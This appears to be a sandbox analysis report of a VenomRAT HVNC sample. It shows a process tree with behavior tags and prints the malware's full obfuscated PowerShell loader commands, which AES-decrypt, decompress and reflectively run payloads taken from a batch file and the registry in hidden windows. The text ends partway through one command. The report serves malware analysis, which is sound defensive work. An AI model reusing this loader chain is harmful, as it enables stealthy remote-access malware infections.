C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:3608
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C:\Users\Admin\AppData\Local\Temp\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat.exe"ClientFix.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $WFMJi = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat').Split([Environment]::NewLine);foreach ($CfaZq in $WFMJi) { if ($CfaZq.StartsWith(':: ')) { $vvycE = $CfaZq.Substring(3); break; }; };$ebOVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($vvycE);$TvyrY = New-Object System.Security.Cryptography.AesManaged;$TvyrY.Mode = [System.Security.Cryptography.CipherMode]::CBC;$TvyrY.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$TvyrY.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAdRfGjG5nQ73DzFMdGHAl3pY8gtBNZSc1HkWv4kVjQ=');$TvyrY.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XfTHUmFJqIl6NYYRvVi6Uw==');$iolsF = $TvyrY.CreateDecryptor();$ebOVF = $iolsF.TransformFinalBlock($ebOVF, 0, $ebOVF.Length);$iolsF.Dispose();$TvyrY.Dispose();$xwvRO = New-Object System.IO.MemoryStream(, $ebOVF);$KUalT = New-Object System.IO.MemoryStream;$sthnm = New-Object System.IO.Compression.GZipStream($xwvRO, [IO.Compression.CompressionMode]::Decompress);$sthnm.CopyTo($KUalT);$sthnm.Dispose();$xwvRO.Dispose();$KUalT.Dispose();$ebOVF = $KUalT.ToArray();$KGzdp = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($ebOVF);$OfYbS = $KGzdp.EntryPoint;$OfYbS.Invoke($null, (, [string[]] ('')))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3176
-
-
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2100 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2100).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 